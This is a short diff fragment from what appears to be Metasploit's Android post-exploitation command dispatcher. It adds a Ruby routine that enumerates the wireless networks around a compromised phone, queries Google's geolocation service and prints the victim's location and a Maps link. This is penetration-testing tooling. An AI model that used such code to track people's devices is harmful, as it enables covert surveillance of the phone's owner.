|
|
510
|
+
end
|
|
511
|
+
|
|
512
|
+
if wlan_list.blank?
|
|
513
|
+
print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.")
|
|
514
|
+
return
|
|
515
|
+
end
|
|
516
|
+
g = Rex::Google::Geolocation.new
|
|
517
|
+
|
|
518
|
+
wlan_list.each do |wlan|
|
|
519
|
+
g.add_wlan(*wlan)
|
|
520
|
+
end
|
|
521
|
+
begin
|
|
522
|
+
g.fetch!
|
|
523
|
+
rescue RuntimeError => e
|
|
524
|
+
print_error("Error: #{e}")
|
|
525
|
+
else
|
|
526
|
+
print_status(g.to_s)
|
|
527
|
+
print_status("Google Maps URL: #{g.google_maps_url}")
|
|
528
|
+
end
|
|
529
|
+
end
|
|
530
|
+
|
|
371
531
|
#
|
|
372
532
|
# Name for this dispatcher
|
|
373
533
|
#
|
|
374
534
|
def name
|
|
375
535
|
'Android'
|
|
376
536
|
end
|
|
377
|
-
|
|
378
537
|
end
|
|
379
|
-
|
|
380
538
|
end
|
|
381
539
|
end
|
|
382
540
|
end
|